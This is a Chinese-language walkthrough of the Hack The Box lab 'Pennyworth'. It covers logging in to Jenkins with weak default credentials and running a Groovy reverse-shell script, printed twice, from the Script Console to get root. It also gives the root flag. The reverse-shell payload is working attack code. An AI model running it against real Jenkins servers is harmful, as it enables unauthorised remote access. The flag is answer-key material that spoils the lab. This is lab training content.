HTB:Pennyworth[WriteUP]

news2024/11/24 18:34:07

目录

连接至HTB服务器并启动靶机

1.What does the acronym CVE stand for?

2.What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for?

3.What is the version of the service running on port 8080?

4.What version of Jenkins is running on the target?

5.What type of script is accepted as input on the Jenkins Script Console?

6.What would the "String cmd" variable from the Groovy Script snippet be equal to if the Target VM was running Windows?

7.What is a different command than "ip a" we could use to display our network interfaces' information on Linux?

8.What switch should we use with netcat for it to use UDP transport mode?

9.What is the term used to describe making a target host initiate a connection back to the attacker host?

ROOT_FLAG:9cdfb439c7876e703e307864c9167a15


连接至HTB服务器并启动靶机

靶机IP:10.129.235.133

分配IP:10.10.16.12


1.What does the acronym CVE stand for?

CVE 是 Common Vulnerabilities and Exposures(通用漏洞披露)的缩写。

CVE是一个公开的漏洞命名标准。它为已知的安全漏洞和暴露提供统一的标识符,方便安全研究人员、厂商和用户交流和跟踪安全问题,提升网络安全防护水平。


2.What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for?

在网络安全中,CIA 三位一体指的是:Confidentiality, Integrity, Availability

保密性(Confidentiality)、完整性(Integrity)和可用性(Availability

保密性确保信息仅被授权的用户访问;完整性保证信息在存储和传输过程中不被篡改;可用性确保授权用户能够随时可靠地访问信息和资源。


3.What is the version of the service running on port 8080?

使用nmap对靶机8080端口进行脚本、服务信息扫描:

nmap -sC -sV -p 8080 {TARGET_IP}

由nmap扫描结果可见,在VERSION栏目下服务信息为:Jetty 9.4.39.v20210325


4.What version of Jenkins is running on the target?

使用浏览器对靶机URL进行访问:http://{TARGET_IP}:8080

自动跳转到了登录界面,直接弱口令爆破后获得账号密码:

账户:root

密码:password

进入后台面板后,在页面右下角可获得Jenkins版本信息:2.289.1


5.What type of script is accepted as input on the Jenkins Script Console?

点击左侧导航栏的:Manage Jenkins

在右侧往下拉,找到:Script Console

打开之后,查看有关脚本控制页面的描述:

Type in an arbitrary Groovy script and execute it on the server. Useful for trouble-shooting and diagnostics. Use the ‘println’ command to see the output (if you use System.out, it will go to the server’s stdout, which is harder to see.) Example:

println(Jenkins.instance.pluginManager.plugins)

All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model.* are pre-imported.

简单的机翻之后:

输入任意 Groovy 脚本并在服务器上执行它。这对于故障排除和诊断很有用。使用 “println” 命令查看输出(如果你使用 System.out,它将输出到服务器的标准输出,这更难看到)。示例:println(Jenkins.instance.pluginManager.plugins)

所有插件中的所有类都是可见的。jenkins.、jenkins.model.、hudson.* 和 hudson.model.* 已预先导入。

从描述中可以看到Jenkins脚本控制台接受Groovy脚本作为输入


6.What would the "String cmd" variable from the Groovy Script snippet be equal to if the Target VM was running Windows?

在棱角社区可以找到各种类型的脚本Reverse_Shell:(附上链接)

[~]#棱角 ::Edge.Forum*

String host="{NATIVE_IP}";
int port={NATIVE_PORT};
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);
try{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

如果靶机是Windows机器的话,String cmd字段需要修改为:"cmd.exe"


7.What is a different command than "ip a" we could use to display our network interfaces' information on Linux?

这题就是常识题目:ifconfig,在命令后加上-a参数是展示所有网络接口

ifconfig -a

可以看到我的tun0接口IP是:10.10.16.12


8.What switch should we use with netcat for it to use UDP transport mode?

查看netcat的使用选项:

nc -h

可以看到:-u 参数用于netcat使用UDP传输模式


9.What is the term used to describe making a target host initiate a connection back to the attacker host?

payload中的端口自己设定,所以我自己的完整payload:

String host="10.10.16.12";
int port=1425;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);
try{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

使用nc开启端口监听,在Script Console端运行脚本获得反弹shell(reverse shell):


利用script启动一个交互shell:

script /dev/null -c bash

最后在/root目录中找到了flag.txt,或者直接执行命令查看:

cat /root/flag.txt

ROOT_FLAG:9cdfb439c7876e703e307864c9167a15

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2195552.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++11】可变模板参数

文章目录 可变模板参数的概念递归函数方式展开参数包 STL容器中的empalce相关的接口函数emplace 与 insert / push_back 的区别 可变模板参数的概念 可变参数模板是 C11 引入的一种模板特性,允许定义可以接收任意数量参数的模板,广泛应用于函数和类的设计…

【js逆向学习】极志愿 javascript+python+rpc

JSRPC使用方式 逆向目标逆向过程逆向分析1、什么是 websocket2、websocket的原理3、总体过程3.1 环境说明3.2 python服务端代码3.3 python客户端代码 4、Sekiro-RPC4.1 执行方式4.2 客户端环境4.3 参数说明4.4 SK API4.5 python代码调试4.6 代码注入流程 逆向总结 逆向目标 网…

【STM32开发之寄存器版】(六)-通用定时器中断

一、前言 STM32定时器分类 STM32103ZET6具备8个定时器TIMx(x 1,2,...,8)。其中,TIM1和TIM8为高级定时器,TIM2-TIM6为通用定时器,TIM6和TIM7为基本定时器,本文将以TIM3通用定时器为例,分析STM32定时器工作的底层寄存器…

mysql读写分离的最佳实践

一. 传统的读写分离方式 在 MySQL 中实现读写分离可以通过以下几种方式来达到目的: 1. 主从复制 使用主从复制(Master-Slave Replication)是实现读写分离的常见方式。 主库:处理所有的写入操作(INSERT、UPDATE、DE…

Qt+VS2019+大恒相机相机回调方式总结

一、前言 大恒驱动安装完成后,在安装目录有SDK调用文档,里面有更详细的调用介绍,此文档对近期做的Demo做一个回顾性总结。 二、调用流程概述 三、针对性内容介绍: 1. 在执行相机操作之前,需要先执行此代码&#xff1…

计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-10-07

计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-10-07 目录 文章目录 计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-10-07目录1. Evaluation of Large Language Models for Summarization Tasks in the Medical Domain: A Narrative Review摘要研究…

rust中async/await的使用

在Rust中,async/await 用于编写异步代码。它允许您以同步的方式编写异步代码,使得异步操作更易于理解和编写。 安装依赖: cargo add futures cargo add async-std 使用示例: 示例1: use async_std::task::block_o…

学习MDX

MDX(Markdown JSX)是一种开源的文件格式,它允许你在Markdown文件中使用JavaScript表达式和组件。MDX将Markdown的易用性与React组件的强大功能结合起来,使得你可以在编写文档、博客文章或其他内容时,嵌入可交互的组件…

顶会论文复现:PROVING TEST SET CONTAMINATION IN BLACK BOX LANGUAGE MODELS

文章目录 1 资料2 我的总结3 复现源码首先你需要有gpt的api接口安装:数据集执行指令源码 4 结果 1 资料 我复现的源码:https://github.com/Whiffe/test_set_contamination 官网源码:https://github.com/tatsu-lab/test_set_contamination 论文&#x…

tts(text to speech)使用 pyttsx3 实现文本转语音 - python 实现

文本转语音(Text-to-Speech,TTS)技术是一种将文本信息转换为口语输出的技术。它涉及多个学科,包括声学、语言学、数学信号处理技术和多媒体技术等。TTS技术能够将计算机中的文本信息转换为自然流畅的语音输出,广泛应用…

OJ在线评测系统 后端微服务架构 注册中心 Nacos入门到启动

注册中心 服务架构中的注册中心是一个关键组件,用于管理和协助微服务之间的通信。注册中心的主要职责是服务的注册和发现,确保各个微服务能够相互找到并进行调用。 主要功能: 服务注册:微服务在启动时,将自身信息&am…

OpenHarmony(鸿蒙南向开发)——标准系统方案之瑞芯微RK3566移植案例(下)

往期知识点记录: 鸿蒙(HarmonyOS)应用层开发(北向)知识点汇总 鸿蒙(OpenHarmony)南向开发保姆级知识点汇总~ 持续更新中…… 概述 OpenHarmony Camera驱动模型结构 HDI Implementation&#x…

【ubuntu】ubuntu20.04安装显卡驱动

1.安装 点击右下角Apply Changes。 等安装好之后,重启。 现在的nvidia驱动已经很好安装了,比早期时安装出现黑屏等情况好了很多。 2.验证 nvidia-smi

Mybatis plus快速使用

文章目录 Mybatis plus快速使用1.ORM2.mybatis plus介绍3.mybatis plus使用1.添加依赖2.配置信息3.启动类加入 MapperScan(“填入mapper包的位置”)4.创建user接口,在mapper中加入UserMapper接口5.mybatis-plus crud注解启动springboot项目ma…

基于图像的3D动物重建与生成

一、背景与目标 3D-Fauna 是一款用于基于图像和视频进行四足动物3D重建与生成的开源方案。自然界展示了复杂的相似性与多样性,该方法通过学习来自网上图片的四足动物的3D形态,能够从单张图片生成可动画化的带有纹理的3D网格模型。其最终目标是通过大量扩展现有的解决方案,实…

Ajax面试题:(第一天)

目录 1.说一下网络模型 2.在浏览器地址栏键入URL,按下回车之后会经历以下流程: 3.什么是三次握手和四次挥手? 4.http协议和https协议的区别 1.说一下网络模型 注:各层含义按自己理解即可 2.在浏览器地址栏键入URL,…

mybatis自定义类型处理器

mybatis自定义类型处理器 其实使用MySQL或Oracle数据库很少会遇到自定义类型处理器的情况,之前是因为项目中使用了PGSQL才接触到这块的,这里简单做一下记录 要创建一个自定义的类型处理器,就需要继承BaseTypeHandler类或者实现TypeHandler接…

数据结构 ——— 相交链表(链表的共节点)

题目要求 两个单链表的头节点 headA 和 headB ,请找出并返回两个单链表相交的起始节点,如果两个链表不存在相交节点,则返回 NULL 手搓两个相交简易链表 代码演示: struct ListNode* a1 (struct ListNode*)malloc(sizeof(struc…

Git 分支提交同步到主干的详细教程——(包含命令行和idea操作两种方式)

文章目录 Git 分支提交同步到主干的详细教程一、Git 命令行操作1. 确保分支上的代码已提交2. 切换到主干分支3. 拉取最新的主干分支代码4. 合并分支到主干方式一:使用 merge 进行合并方式二:使用 rebase 进行合并 5. 推送合并后的代码到远程主干分支命令…

github 搭建个人导航网

最近搭建了个 个人的导航网,具体内容见下图,欢迎大家访问吖,点击访问 具体实现是使用 vue3 编写,白嫖 github 的 page 部署 首先在 github上创建一个仓库:name.github.io # name是你 github 的名字 然后在本地创建一…